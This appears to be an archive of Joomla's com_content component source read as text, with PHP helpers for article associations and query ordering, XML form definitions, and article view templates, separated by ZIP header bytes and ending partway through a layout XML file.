                $advClause[] = 'c2.language != ' . $db->quote(Factory::getLanguage()->getTag());

                if (!$user->authorise('core.edit.state', 'com_content') && !$user->authorise('core.edit', 'com_content')) {
                    // Filter by start and end dates.
                    $date = Factory::getDate();

                    $nowDate = $db->quote($date->toSql());

                    $advClause[] = '(c2.publish_up IS NULL OR c2.publish_up <= ' . $nowDate . ')';
                    $advClause[] = '(c2.publish_down IS NULL OR c2.publish_down >= ' . $nowDate . ')';

                    // Filter by published
                    $advClause[] = 'c2.state = 1';
                }

                $associations = Associations::getAssociations(
                    'com_content',
                    '#__content',
                    'com_content.item',
                    $id,
                    'id',
                    'alias',
                    'catid',
                    $advClause
                );

                $return = [];

                foreach ($associations as $tag => $item) {
                    $return[$tag] = RouteHelper::getArticleRoute($item->id, (int) $item->catid, $item->language, $layout);
                }

                return $return;
            }
        }

        if ($view === 'category' || $view === 'categories') {
            return self::getCategoryAssociations($id, 'com_content', $layout);
        }

        return [];
    }

    /**
     * Method to display in frontend the associations for a given article
     *
     * @param   integer  $id  Id of the article
     *
     * @return  array  An array containing the association URL and the related language object
     *
     * @since  3.7.0
     */
    public static function displayAssociations($id)
    {
        $return = [];

        if ($associations = self::getAssociations($id, 'article')) {
            $levels    = Factory::getUser()->getAuthorisedViewLevels();
            $languages = LanguageHelper::getLanguages();

            foreach ($languages as $language) {
                // Do not display language when no association
                if (empty($associations[$language->lang_code])) {
                    continue;
                }

                // Do not display language without frontend UI
                if (!array_key_exists($language->lang_code, LanguageHelper::getInstalledLanguages(0))) {
                    continue;
                }

                // Do not display language without specific home menu
                if (!array_key_exists($language->lang_code, Multilanguage::getSiteHomePages())) {
                    continue;
                }

                // Do not display language without authorized access level
                if (isset($language->access) && $language->access && !in_array($language->access, $levels)) {
                    continue;
                }

                $return[$language->lang_code] = ['item' => $associations[$language->lang_code], 'language' => $language];
            }
        }

        return $return;
    }
}
PK���\�9����&com_content/src/Helper/QueryHelper.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\Helper;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\Database\DatabaseInterface;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Content Component Query Helper
 *
 * @since  1.5
 */
class QueryHelper
{
    /**
     * Translate an order code to a field for category ordering.
     *
     * @param   string  $orderby  The ordering code.
     *
     * @return  string  The SQL field(s) to order by.
     *
     * @since   1.5
     */
    public static function orderbyPrimary($orderby)
    {
        switch ($orderby) {
            case 'alpha':
                $orderby = 'c.path, ';
                break;

            case 'ralpha':
                $orderby = 'c.path DESC, ';
                break;

            case 'order':
                $orderby = 'c.lft, ';
                break;

            default:
                $orderby = '';
                break;
        }

        return $orderby;
    }

    /**
     * Translate an order code to a field for article ordering.
     *
     * @param   string             $orderby    The ordering code.
     * @param   string             $orderDate  The ordering code for the date.
     * @param   DatabaseInterface  $db         The database
     *
     * @return  string  The SQL field(s) to order by.
     *
     * @since   1.5
     */
    public static function orderbySecondary($orderby, $orderDate = 'created', DatabaseInterface $db = null)
    {
        $db = $db ?: Factory::getDbo();

        $queryDate = self::getQueryDate($orderDate, $db);

        switch ($orderby) {
            case 'date':
                $orderby = $queryDate;
                break;

            case 'rdate':
                $orderby = $queryDate . ' DESC ';
                break;

            case 'alpha':
                $orderby = 'a.title';
                break;

            case 'ralpha':
                $orderby = 'a.title DESC';
                break;

            case 'hits':
                $orderby = 'a.hits DESC';
                break;

            case 'rhits':
                $orderby = 'a.hits';
                break;

            case 'rorder':
                $orderby = 'a.ordering DESC';
                break;

            case 'author':
                $orderby = 'author';
                break;

            case 'rauthor':
                $orderby = 'author DESC';
                break;

            case 'front':
                $orderby = 'a.featured DESC, fp.ordering, ' . $queryDate . ' DESC ';
                break;

            case 'random':
                $orderby = $db->getQuery(true)->rand();
                break;

            case 'vote':
                $orderby = 'a.id DESC ';

                if (PluginHelper::isEnabled('content', 'vote')) {
                    $orderby = 'rating_count DESC ';
                }
                break;

            case 'rvote':
                $orderby = 'a.id ASC ';

                if (PluginHelper::isEnabled('content', 'vote')) {
                    $orderby = 'rating_count ASC ';
                }
                break;

            case 'rank':
                $orderby = 'a.id DESC ';

                if (PluginHelper::isEnabled('content', 'vote')) {
                    $orderby = 'rating DESC ';
                }
                break;

            case 'rrank':
                $orderby = 'a.id ASC ';

                if (PluginHelper::isEnabled('content', 'vote')) {
                    $orderby = 'rating ASC ';
                }
                break;

            default:
                $orderby = 'a.ordering';
                break;
        }

        return $orderby;
    }

    /**
     * Translate an order code to a field for date ordering.
     *
     * @param   string             $orderDate  The ordering code.
     * @param   DatabaseInterface  $db         The database
     *
     * @return  string  The SQL field(s) to order by.
     *
     * @since   1.6
     */
    public static function getQueryDate($orderDate, DatabaseInterface $db = null)
    {
        $db = $db ?: Factory::getDbo();

        switch ($orderDate) {
            case 'modified':
                $queryDate = ' CASE WHEN a.modified IS NULL THEN a.created ELSE a.modified END';
                break;

                // Use created if publish_up is not set
            case 'published':
                $queryDate = ' CASE WHEN a.publish_up IS NULL THEN a.created ELSE a.publish_up END ';
                break;

            case 'unpublished':
                $queryDate = ' CASE WHEN a.publish_down IS NULL THEN a.created ELSE a.publish_down END ';
                break;
            case 'created':
            default:
                $queryDate = ' a.created ';
                break;
        }

        return $queryDate;
    }

    /**
     * Get join information for the voting query.
     *
     * @param   \Joomla\Registry\Registry  $params  An options object for the article.
     *
     * @return  array  A named array with "select" and "join" keys.
     *
     * @since   1.5
     *
     * @deprecated  4.3 will be removed in 6.0
     *              Will be removed without replacement
     */
    public static function buildVotingQuery($params = null)
    {
        if (!$params) {
            $params = ComponentHelper::getParams('com_content');
        }

        $voting = $params->get('show_vote');

        if ($voting) {
            // Calculate voting count
            $select = ' , ROUND(v.rating_sum / v.rating_count) AS rating, v.rating_count';
            $join   = ' LEFT JOIN #__content_rating AS v ON a.id = v.content_id';
        } else {
            $select = '';
            $join   = '';
        }

        return ['select' => $select, 'join' => $join];
    }
}
PK���\�;L���%com_content/forms/filter_articles.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_CONTENT_MODAL_FILTER_SEARCH_LABEL"
			description="COM_CONTENT_MODAL_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="published"
			type="status"
			label="COM_CONTENT_FILTER_PUBLISHED"
			description="COM_CONTENT_FILTER_PUBLISHED_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="category_id"
			type="category"
			label="JOPTION_SELECT_CATEGORY"
			multiple="true"
			extension="com_content"
			layout="joomla.form.field.list-fancy-select"
			hint="JOPTION_SELECT_CATEGORY"
			onchange="this.form.submit();"
			published="0,1,2"
		/>

		<field
			name="access"
			type="accesslevel"
			label="JOPTION_SELECT_ACCESS"
			multiple="true"
			layout="joomla.form.field.list-fancy-select"
			hint="JOPTION_SELECT_ACCESS"
			onchange="this.form.submit();"
		/>

		<field
			name="author_id"
			type="author"
			label="JOPTION_SELECT_AUTHOR"
			multiple="true"
			layout="joomla.form.field.list-fancy-select"
			hint="JOPTION_SELECT_AUTHOR"
			onchange="this.form.submit();"
			>
			<option value="0">JNONE</option>
		</field>

		<field
			name="level"
			type="integer"
			label="JOPTION_FILTER_LEVEL"
			description="JOPTION_FILTER_LEVEL_DESC"
			first="1"
			last="10"
			step="1"
			languages="*"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_MAX_LEVELS</option>
		</field>

		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>

		<field
			name="tag"
			type="tag"
			label="JTAG"
			multiple="true"
			mode="nested"
			custom="false"
			hint="JOPTION_SELECT_TAG"
			onchange="this.form.submit();"
		/>

	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.title ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.state ASC">JSTATUS_ASC</option>
			<option value="a.state DESC">JSTATUS_DESC</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="category_title ASC">JCATEGORY_ASC</option>
			<option value="category_title DESC">JCATEGORY_DESC</option>
			<option value="association ASC" requires="associations">JASSOCIATIONS_ASC</option>
			<option value="association DESC" requires="associations">JASSOCIATIONS_DESC</option>
			<option value="a.access ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="a.access DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="a.created_by ASC">JAUTHOR_ASC</option>
			<option value="a.created_by DESC">JAUTHOR_DESC</option>
			<option value="language ASC" requires="multilanguage">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="language DESC" requires="multilanguage">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.created ASC">JDATE_ASC</option>
			<option value="a.created DESC">JDATE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
			<option value="a.featured ASC">JFEATURED_ASC</option>
			<option value="a.featured DESC">JFEATURED_DESC</option>
			<option value="a.hits ASC">JGLOBAL_HITS_ASC</option>
			<option value="a.hits DESC">JGLOBAL_HITS_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
PK���\�N�[[com_content/forms/article.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset addfieldprefix="Joomla\Component\Categories\Administrator\Field">
		<field
			name="id"
			type="hidden"
			label="COM_CONTENT_ID_LABEL"
			size="10"
			default="0"
			readonly="true"
		/>

		<field
			name="contenthistory"
			type="contenthistory"
			label="JTOOLBAR_VERSIONS"
			data-typeAlias="com_content.article"
		/>

		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>

		<field
			name="title"
			type="text"
			label="JGLOBAL_TITLE"
			size="30"
			required="true"
		/>

		<field
			name="alias"
			type="text"
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
			hint="JFIELD_ALIAS_PLACEHOLDER"
			size="45"
		/>

		<field
			name="articletext"
			type="editor"
			label="COM_CONTENT_FIELD_ARTICLETEXT_LABEL"
			hiddenLabel="true"
			buttons="true"
			filter="JComponentHelper::filterText"
			asset_id="com_content"
		/>

		<field
			name="state"
			type="list"
			label="JSTATUS"
			class="form-select-color-state"
			size="1"
			default="1"
			validate="options"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="2">JARCHIVED</option>
			<option value="-2">JTRASHED</option>
		</field>

		<field
			name="featured"
			type="list"
			label="JGLOBAL_FIELD_FEATURED_LABEL"
			default="0"
			validate="options"
			>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field
			name="featured_up"
			type="calendar"
			label="COM_CONTENT_FIELD_FEATURED_UP_LABEL"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
			showon="featured:1"
		/>

		<field
			name="featured_down"
			type="calendar"
			label="COM_CONTENT_FIELD_FEATURED_DOWN_LABEL"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
			showon="featured:1"
		/>

		<field
			name="catid"
			type="categoryedit"
			label="JCATEGORY"
			extension="com_content"
			required="true"
		/>

		<field
			name="created"
			type="calendar"
			translateformat="true"
			filter="unset"
		/>

		<field
			name="created_by"
			type="text"
			filter="unset"
		/>

		<field
			name="created_by_alias"
			type="text"
			label="JGLOBAL_FIELD_CREATED_BY_ALIAS_LABEL"
			size="20"
		/>

		<field
			name="note"
			type="text"
			label="COM_CONTENT_FIELD_NOTE_LABEL"
			size="40"
			maxlength="255"
		/>

		<field
			name="version_note"
			type="text"
			label="JGLOBAL_FIELD_VERSION_NOTE_LABEL"
			maxlength="255"
			size="45"
		/>

		<field
			name="publish_up"
			type="calendar"
			label="JGLOBAL_FIELD_PUBLISH_UP_LABEL"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="publish_down"
			type="calendar"
			label="JGLOBAL_FIELD_PUBLISH_DOWN_LABEL"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			>
			<option value="*">JALL</option>
		</field>

		<field
			name="tags"
			type="tag"
			label="JTAG"
			multiple="true"
			size="45"
		/>

		<field
			name="metakey"
			type="textarea"
			label="JFIELD_META_KEYWORDS_LABEL"
			rows="5"
			cols="50"
		/>

		<field
			name="metadesc"
			type="textarea"
			label="JFIELD_META_DESCRIPTION_LABEL"
			rows="5"
			cols="50"
			maxlength="160"
			charcounter="true"
		/>

		<field
			name="access"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			filter="UINT"
			validate="options"
		/>

		<field
			name="captcha"
			type="captcha"
			label="COM_CONTENT_CAPTCHA_LABEL"
			validate="captcha"
			namespace="article"
		/>
	</fieldset>
		<fields name="images">
		<fieldset name="image-intro">
			<field
				name="image_intro"
				type="media"
				schemes="http,https,ftp,ftps,data,file"
				validate="url"
				relative="true"
				label="COM_CONTENT_FIELD_INTRO_LABEL"
			/>

			<field
				name="image_intro_alt"
				type="text"
				label="COM_CONTENT_FIELD_IMAGE_ALT_LABEL"
				size="20"
			/>

			<field
				name="image_intro_alt_empty"
				type="checkbox"
				label="COM_CONTENT_FIELD_IMAGE_ALT_EMPTY_LABEL"
				description="COM_CONTENT_FIELD_IMAGE_ALT_EMPTY_DESC"
			/>

			<field
				name="image_intro_caption"
				type="text"
				label="COM_CONTENT_FIELD_IMAGE_CAPTION_LABEL"
				size="20"
			/>

			<field
				name="float_intro"
				type="text"
				label="COM_CONTENT_FIELD_IMAGE_CLASS_LABEL"
				size="20"
				useglobal="true"
				validate="CssIdentifier"
			/>
		</fieldset>
		<fieldset name="image-full">
			<field
				name="image_fulltext"
				type="media"
				schemes="http,https,ftp,ftps,data,file"
				validate="url"
				relative="true"
				label="COM_CONTENT_FIELD_FULL_LABEL"
			/>

			<field
				name="image_fulltext_alt"
				type="text"
				label="COM_CONTENT_FIELD_IMAGE_ALT_LABEL"
				size="20"
			/>

			<field
				name="image_fulltext_alt_empty"
				type="checkbox"
				label="COM_CONTENT_FIELD_IMAGE_ALT_EMPTY_LABEL"
				description="COM_CONTENT_FIELD_IMAGE_ALT_EMPTY_DESC"
			/>

			<field
				name="image_fulltext_caption"
				type="text"
				label="COM_CONTENT_FIELD_IMAGE_CAPTION_LABEL"
				size="20"
			/>

			<field
				name="float_fulltext"
				type="text"
				label="COM_CONTENT_FIELD_IMAGE_CLASS_LABEL"
				size="20"
				useglobal="true"
				validate="CssIdentifier"
			/>
		</fieldset>
	</fields>
	<fields name="urls">
		<field
			name="urla"
			type="url"
			label="COM_CONTENT_FIELD_URLA_LABEL"
			validate="url"
			filter="url"
			relative="true"
		/>

		<field
			name="urlatext"
			type="text"
			label="COM_CONTENT_FIELD_URLA_LINK_TEXT_LABEL"
			size="20"
		/>

		<field
			name="targeta"
			type="hidden"
		/>

		<field
			name="urlb"
			type="url"
			label="COM_CONTENT_FIELD_URLB_LABEL"
			validate="url"
			filter="url"
			relative="true"
		/>

		<field
			name="urlbtext"
			type="text"
			label="COM_CONTENT_FIELD_URLB_LINK_TEXT_LABEL"
			size="20"
		/>

		<field
			name="targetb"
			type="hidden"
		/>

		<field
			name="urlc"
			type="url"
			label="COM_CONTENT_FIELD_URLC_LABEL"
			validate="url"
			filter="url"
			relative="true"
		/>

		<field
			name="urlctext"
			type="text"
			label="COM_CONTENT_FIELD_URLC_LINK_TEXT_LABEL"
			size="20"
		/>

		<field
			name="targetc"
			type="hidden"
		/>
	</fields>
	<fields name="metadata">
		<fieldset
			name="jmetadata"
			label="JGLOBAL_FIELDSET_METADATA_OPTIONS">

				<field
					name="robots"
					type="hidden"
					label="JFIELD_METADATA_ROBOTS_LABEL"
					filter="unset"
					>
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="index, follow"></option>
					<option value="noindex, follow"></option>
					<option value="index, nofollow"></option>
					<option value="noindex, nofollow"></option>
				</field>

				<field
					name="author"
					type="hidden"
					label="JAUTHOR"
					filter="unset"
					size="20"
				/>

				<field
					name="rights"
					type="hidden"
					label="JFIELD_META_RIGHTS_LABEL"
					filter="unset"
				/>

		</fieldset>
	</fields>
</form>
PK���\�R(���*com_content/tmpl/article/default_links.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

// Create shortcut
$urls = json_decode($this->item->urls);

// Create shortcuts to some parameters.
$params = $this->item->params;
if ($urls && (!empty($urls->urla) || !empty($urls->urlb) || !empty($urls->urlc))) :
    ?>
<div class="com-content-article__links content-links">
    <ul class="com-content-article__links content-list">
        <?php
            $urlarray = [
            [$urls->urla, $urls->urlatext, $urls->targeta, 'a'],
            [$urls->urlb, $urls->urlbtext, $urls->targetb, 'b'],
            [$urls->urlc, $urls->urlctext, $urls->targetc, 'c']
            ];
            foreach ($urlarray as $url) :
                $link = $url[0];
                $label = $url[1];
                $target = $url[2];
                $id = $url[3];

                if (! $link) :
                    continue;
                endif;

                // If no label is present, take the link
                $label = $label ?: $link;

                // If no target is present, use the default
                $target = $target ?: $params->get('target' . $id);
                ?>
            <li class="com-content-article__link content-links-<?php echo $id; ?>">
                <?php
                    // Compute the correct link

                switch ($target) {
                    case 1:
                        // Open in a new window
                        echo '<a href="' . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . '" target="_blank" rel="nofollow noopener noreferrer">' .
                            htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . '</a>';
                        break;

                    case 2:
                        // Open in a popup window
                        $attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=600,height=600';
                        echo "<a href=\"" . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . "\" onclick=\"window.open(this.href, 'targetWindow', '" . $attribs . "'); return false;\" rel=\"noopener noreferrer\">" .
                            htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . '</a>';
                        break;
                    case 3:
                        echo '<a href="' . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . '" rel="noopener noreferrer" data-bs-toggle="modal" data-bs-target="#linkModal">' .
                            htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . ' </a>';
                        echo HTMLHelper::_(
                            'bootstrap.renderModal',
                            'linkModal',
                            [
                                'url'    => $link,
                                'title'  => $label,
                                'height' => '100%',
                                'width'  => '100%',
                                'modalWidth'  => '500',
                                'bodyHeight'  => '500',
                                'footer' => '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal" aria-hidden="true">'
                                    . \Joomla\CMS\Language\Text::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
                            ]
                        );
                        break;

                    default:
                        // Open in parent window
                        echo '<a href="' . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . '" rel="nofollow">' .
                            htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . ' </a>';
                        break;
                }
                ?>
                </li>
            <?php endforeach; ?>
    </ul>
</div>
<?php endif; ?>
PK���\�9��$com_content/tmpl/article/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\RouteHelper;

// Create shortcuts to some parameters.
$params  = $this->item->params;
$canEdit = $params->get('access-edit');
$user    = Factory::getUser();
$info    = $params->get('info_block_position', 0);
$htag    = $this->params->get('show_page_heading') ? 'h2' : 'h1';

// Check if associations are implemented. If they are, define the parameter.
$assocParam        = (Associations::isEnabled() && $params->get('show_associations'));
$currentDate       = Factory::getDate()->format('Y-m-d H:i:s');
$isNotPublishedYet = $this->item->publish_up > $currentDate;
$isExpired         = !is_null($this->item->publish_down) && $this->item->publish_down < $currentDate;
?>
<div class="com-content-article item-page<?php echo $this->pageclass_sfx; ?>" itemscope itemtype="https://schema.org/Article">
    <meta itemprop="inLanguage" content="<?php echo ($this->item->language === '*') ? Factory::getApplication()->get('language') : $this->item->language; ?>">
    <?php if ($this->params->get('show_page_heading')) : ?>
    <div class="page-header">
        <h1> <?php echo $this->escape($this->params->get('page_heading')); ?> </h1>
    </div>
    <?php endif;
    if (!empty($this->item->pagination) && !$this->item->paginationposition && $this->item->paginationrelative) {
        echo $this->item->pagination;
    }
    ?>

    <?php $useDefList = $params->get('show_modify_date') || $params->get('show_publish_date') || $params->get('show_create_date')
    || $params->get('show_hits') || $params->get('show_category') || $params->get('show_parent_category') || $params->get('show_author') || $assocParam; ?>

    <?php if ($params->get('show_title')) : ?>
    <div class="page-header">
        <<?php echo $htag; ?> itemprop="headline">
            <?php echo $this->escape($this->item->title); ?>
        </<?php echo $htag; ?>>
        <?php if ($this->item->state == ContentComponent::CONDITION_UNPUBLISHED) : ?>
            <span class="badge bg-warning text-light"><?php echo Text::_('JUNPUBLISHED'); ?></span>
        <?php endif; ?>
        <?php if ($isNotPublishedYet) : ?>
            <span class="badge bg-warning text-light"><?php echo Text::_('JNOTPUBLISHEDYET'); ?></span>
        <?php endif; ?>
        <?php if ($isExpired) : ?>
            <span class="badge bg-warning text-light"><?php echo Text::_('JEXPIRED'); ?></span>
        <?php endif; ?>
    </div>
    <?php endif; ?>
    <?php if ($canEdit) : ?>
        <?php echo LayoutHelper::render('joomla.content.icons', ['params' => $params, 'item' => $this->item]); ?>
    <?php endif; ?>

    <?php // Content is generated by content plugin event "onContentAfterTitle" ?>
    <?php echo $this->item->event->afterDisplayTitle; ?>

    <?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
        <?php echo LayoutHelper::render('joomla.content.info_block', ['item' => $this->item, 'params' => $params, 'position' => 'above']); ?>
    <?php endif; ?>

    <?php if ($info == 0 && $params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
        <?php $this->item->tagLayout = new FileLayout('joomla.content.tags'); ?>

        <?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?>
    <?php endif; ?>

    <?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
    <?php echo $this->item->event->beforeDisplayContent; ?>

    <?php if ((int) $params->get('urls_position', 0) === 0) : ?>
        <?php echo $this->loadTemplate('links'); ?>
    <?php endif; ?>
    <?php if ($params->get('access-view')) : ?>
        <?php echo LayoutHelper::render('joomla.content.full_image', $this->item); ?>
        <?php
        if (!empty($this->item->pagination) && !$this->item->paginationposition && !$this->item->paginationrelative) :
            echo $this->item->pagination;
        endif;
        ?>
        <?php if (isset($this->item->toc)) :
            echo $this->item->toc;
        endif; ?>
    <div itemprop="articleBody" class="com-content-article__body">
        <?php echo $this->item->text; ?>
    </div>

        <?php if ($info == 1 || $info == 2) : ?>
            <?php if ($useDefList) : ?>
                <?php echo LayoutHelper::render('joomla.content.info_block', ['item' => $this->item, 'params' => $params, 'position' => 'below']); ?>
            <?php endif; ?>
            <?php if ($params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
                <?php $this->item->tagLayout = new FileLayout('joomla.content.tags'); ?>
                <?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?>
            <?php endif; ?>
        <?php endif; ?>

        <?php
        if (!empty($this->item->pagination) && $this->item->paginationposition && !$this->item->paginationrelative) :
            echo $this->item->pagination;
            ?>
        <?php endif; ?>
        <?php if ((int) $params->get('urls_position', 0) === 1) : ?>
            <?php echo $this->loadTemplate('links'); ?>
        <?php endif; ?>
        <?php // Optional teaser intro text for guests ?>
    <?php elseif ($params->get('show_noauth') == true && $user->get('guest')) : ?>
        <?php echo LayoutHelper::render('joomla.content.intro_image', $this->item); ?>
        <?php echo HTMLHelper::_('content.prepare', $this->item->introtext); ?>
        <?php // Optional link to let them register to see the whole article. ?>
        <?php if ($params->get('show_readmore') && $this->item->fulltext != null) : ?>
            <?php $menu = Factory::getApplication()->getMenu(); ?>
            <?php $active = $menu->getActive(); ?>
            <?php $itemId = $active->id; ?>
            <?php $link = new Uri(Route::_('index.php?option=com_users&view=login&Itemid=' . $itemId, false)); ?>
            <?php $link->setVar('return', base64_encode(RouteHelper::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language))); ?>
            <?php echo LayoutHelper::render('joomla.content.readmore', ['item' => $this->item, 'params' => $params, 'link' => $link]); ?>
        <?php endif; ?>
    <?php endif; ?>
    <?php
    if (!empty($this->item->pagination) && $this->item->paginationposition && $this->item->paginationrelative) :
        echo $this->item->pagination;
        ?>
    <?php endif; ?>
    <?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
    <?php echo $this->item->event->afterDisplayContent; ?>
</div>
PK���\�e��vv$com_content/tmpl/article/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTENT_ARTICLE_VIEW_DEFAULT_TITLE" option="COM_CONTENT_ARTICLE_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Single_Article"
		/>
		<message>
			<![CDATA[COM_CONTENT_ARTICLE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
			addfieldprefix="Joomla\Component\Content\Administrator\Field" >

			<field
				name="id"
				type="modal_article"
				label="COM_CONTENT_FIELD_SELECT_ARTICLE_LABEL"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="basic"
			label="COM_CONTENT_ATTRIBS_ARTICLE_SETTINGS_LABEL"
			addfieldprefix="Joomla\Component\Content\Administrator\Field"
		>

			<field
				name="show_title"
				type="list"
				label="JGLOBAL_SHOW_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="link_titles"
				type="list"
				label="JGLOBAL_LINKED_TITLES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="show_intro"
				type="list"
				label="JGLOBAL_SHOW_INTRO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="info_block_position"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_POSITION_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
				<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
				<option value="2">COM_CONTENT_FIELD_OPTION_SPLIT</option>
			</field>

			<field
				name="info_block_show_title"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option	value="1">JSHOW</option>
				<option	value="0">JHIDE</option>
			</field>

			<field
				name="show_category"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="link_category"
				type="list"
				label="JGLOBAL_LINK_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="show_parent_category"
				type="list"
				label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="link_parent_category"
				type="list"
				label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="show_associations"
				type="assoc"
				label="JGLOBAL_SHOW_ASSOCIATIONS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="1">JSHOW</option>
